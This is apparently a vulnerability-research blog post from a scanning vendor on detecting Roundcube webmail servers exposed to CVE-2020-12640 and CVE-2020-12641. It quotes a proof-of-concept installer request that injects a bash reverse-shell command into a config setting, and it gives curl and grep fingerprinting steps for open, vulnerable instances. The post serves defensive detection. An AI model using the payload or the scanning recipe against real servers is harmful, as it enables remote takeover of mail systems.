Finding Roundcube installations vulnerable to CVE-2020-12640 and CVE-2020-12641

Written on 2023/07/07

At ONYPHE we focus on detecting vulnerabilities that are under active exploitation and so we keep a close eye on the CISA Known Exploited Vulnerabilities (KEV) catalog. On the 22nd June, six new vulnerabilities were added to the list, including 3 for the popular open source webmail product Roundcube.

The three Roundcube vulnerabilities date from April 2020 and one of them, CVE-2020-12641 is an RCE. A proof-of-concept exploit code was published a few months later. Interestingly the roundcube security bulletin from 2020 seems to think that this vulnerability, along with it’s twin CVE-2020-1640, are minor issues. To quote:

The latter two vulnerabilities are classified minor because they only affect Roundcube installations with public access to the Roundcube installer. That’s generally a high-risk situation and is expected to be rare or practically non-existent in productive Roundcube deployments. However, the fixes are done in core in order to also prevent from future and yet unknown attack vectors.

The exploit

As explained in the post linked to above, this is a two-part exploit firstly requiring a POST request to the installer to add a shell command to a Roundcube config file:

POST /roundcube/installer/index.php HTTP/1.1
Host: 192.168.243.153
Content-Type: application/x-www-form-urlencoded
Content-Length: 1049

_step=2&_product_name=Roundcube+Webmail&***TRUNCATED***&submit=UPDATE+CONFIG&_im_convert_path=php+-r+'$sock%3dfsockopen("127.0.0.1",4444)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'+%23

And then the victim is sent an e-mail with an unusual image format. Roundcube attempts to convert the image using the im_convert_path configuration item, and the injected command line is executed.

demo roundcube get Shell
demo roundcube get Shell


Roundcube thinks these vulnerabilities are rare, but as the brave folks at CERT-UA know only too well, APT28 thinks they are worth exploiting.

Getting a list of Roundcube URLs

To go about detecting these vulnerabilities we’d need to start by somehow identifying all the Roundcube instances on the Internet. Fortunately, ONYPHE has already done that for us :) The ONYPHE datascan category stores the response from about 1B exposed services and URLs each month, and then contextualises that data by matching patterns for known devices and software, including Roundcube.

The following OQL (ONYPHE Query Language) in the web interface should give us some results:

category:datascan app.http.component.productvendor:roundcube

It does - in fact 4.8 million results. It’s basic statistics that even when something is rare or “practically non-existant”, if you have a population of millions then the final number of occurances can be suprisingly high.

ONYPHE Roundcube results
ONYPHE Roundcube results


To get a useful list with the URL of every known Roundcube instance on the internet we need to use an API.

onyphe -calculated 1 -search 'category:datascan app.http.component.productvendor:"Roundcube" -since:1M | fields calculated.url.undefang | uniq calculated.url.undefang | output'

As ONYPHE stores every known hostname for a particular service on the Internet, we need to use the calculated field calculated.url.undefang to select just the URL used for the Roundcube product detection. The function -since:1M limits the scope of results to only those detected or updated over the last 30 days, and the ONYPHE command line uniq will strip out any duplicate results.

In fact the search API limits the number of results to 10,000 which is only a fraction of the results we need. The export API gives us all the data and so allows us to extract the hundreds of thousands of records from a dataset of billions for processing in a datalake like Splunk or ELK.

onyphe -calculated 1 -export 'category:datascan app.http.component.productvendor:"Roundcube" -since:1M' > /tmp/datascan.json

Detecting open installer instances

Finding exposed instances should be as simple as hitting the right URL:

curl -k --connect-timeout 3 http[s]://<roundcube.host>/installer/index.php

Despite the fact that the Roundcube documentation tells you to actually delete the installer from your web directories after use, many installations have simply disabled the installer and so we get a page like this:

Roundcube installer disabled screenshot
Roundcube installer disabled screenshot


What would an open installer look like? Well there are three obvious ways to find out:


Whichever way you get there, the end goal is to find a reliable string to identify an open Roundcube installer, which looks like this:

Roundcube installer open
Roundcube installer open


We could detect the main page title, however if that second “Checking PHP version” heading is displayed it means the installer is executing so that could be an ideal candidate. And here’s the corresponding code snippet from github:

Roundcube installer check.php
Roundcube installer check.php


Checking this approach with a vulnerable server confirms we can detect the string we identified.

~$ curl -k https://127.0.0.1/installer/index.php 2>/dev/null | grep -c 'Checking PHP version'
1

Working out the Roundcube version

According to the 2020 security bulletin, the versions that are affected are <1.4.4, <1.3.11 and <1.2.10. Roundcube is now on version 1.6 so let’s start by trying to identify the most recent vulnerable version, 1.4.3.

Some software helpfully displays the version number on the login page or via a friendly /api/version, and other vendors (knowing that security by obscurity is actually a thing ;) consider that anyone wanting to know the version is up to no good, and they take measures to hide that information. Roundcube is in the second category.

The version number is clearly displayed in the PHP code comments but at no point does that version number leak into the HTTP content sent to the client. Some hard lessons were learned in the early days of the Roundcube project.

The copyright message at the bottom of the installer page seems to be a useful date-stamp. This does in fact tell you if the instance is truly ancient, but it turns out not to be useful in distinguishing from vulnerable and not-vulnerable instances of version 1.4.

copyright message
copyright message


Another approach is needed.

So let’s look at the code changes associated with the security fix. The Roundcube changelog links to the Github issues for all the code changes except the ones for the security patches. However while staring at this changelog it struck us that we didn’t need to find the specific code change related to the vulnerability. Any code change made public in the same release as the security patch will tell us if the installation has been patched or not.

Helpfully, the compare feature of github will do most of the work for us. https://github.com/roundcube/roundcubemail/compare/1.4.3…1.4.4

list of changed filed in 1.4.4
list of changed filed in 1.4.4


Initially this doesn’t seem to help as only the public_html/index.php file is loaded pre-authentication, and a quick look at that page doesn’t show any useful changes. That page fetches a certain number of javascript documents but none of them were modified between the versions we are looking at. The login page loads minimal versions of each of the .js files, for example app.min.js as opposed to app.js.

list of .js loaded by index.php
list of .js loaded by index.php


However looking at the installation files, we can see that these mini files are in the same ‘program/js’ directory as the main Roundcube javascript application.

contents of program/js directory
contents of program/js directory


What if we can just point our HTTP client at the javascript file we actually want to check?

If that approach works, app.js has a big chunk of code changed in version 1.4.4 including some code comments in the javascript

code change
code change


Sure enough, it turns out we can just ask the server to send us the javascript file from /program/js/app.js and check if the change has been made in the code. This is the app.js document from the latest version of Roundcube.

js contents
js contents


Vulnerable versions of this document from Roundcube 1.4 will contain the string “there will be two onload events, first for the preload page”. This long string helps to avoid any false positives. Using this approach, checking if a server is vulnerable can be done in two simple steps:

~$ curl -k https://<roundcube.host>/installer/index.php' 2>/dev/null | grep -c 'Checking PHP version'
1

~$ curl -k https://<roundcube.host>/program/js/app.js' 2>/dev/null | grep -c 'there will be two onload events, first for the preload page'
1

A non-zero response for the first command tells us the installer is open. A non-zero response for the second will tell us the server has a vulnerable version of Roundcube.

Who is vulnerable?

When we look at Roundcube deployments as a whole, over two-thirds of all instances are in the US. Over half of them are hosted by a single organization, Unified Layer.

All Roundcube instances on the Internet by country and hosting organization
All Roundcube instances on the Internet by country and hosting organization


By looking at vulnerable versions of Roundcube we are able to observe the impact of the CVE being added to the CISA KEV list:

Days since CVE added to KEV list Count of vulnerable versions (1.4) in US
          3
               1244
         15
               1131


That’s a 9% reduction in 2 weeks. Both encouraging and depressing from a national CSIRT perspective.

If we look at only instances of Roundcube vulnerable to CVE-2020-12640 and CVE-2020-12641 and with an open installer then the picture becomes quite interesting.

vulnerable Roundcube version 1.4.x and open installer by country and hosting organization
vulnerable Roundcube version 1.4.x and open installer by country and hosting organization


Only 11% of open and vulnerable instances are in the US, with the other 88% in Europe. 25% in Germany, followed by Italy (16.5%), Netherlands (10%) and Poland (9%).

In total we identified exploitable Roundcube instances on 131 unique IPs with 194 unique domains.

Conclusion

Our investigation into CVE-2020-12640 and CVE-2020-12641 can tell us a few useful things:


ONYPHE vulnscan customers (starting from Eagle View) can now detect CVE-2020-12640 and CVE-2020-12641:


Or: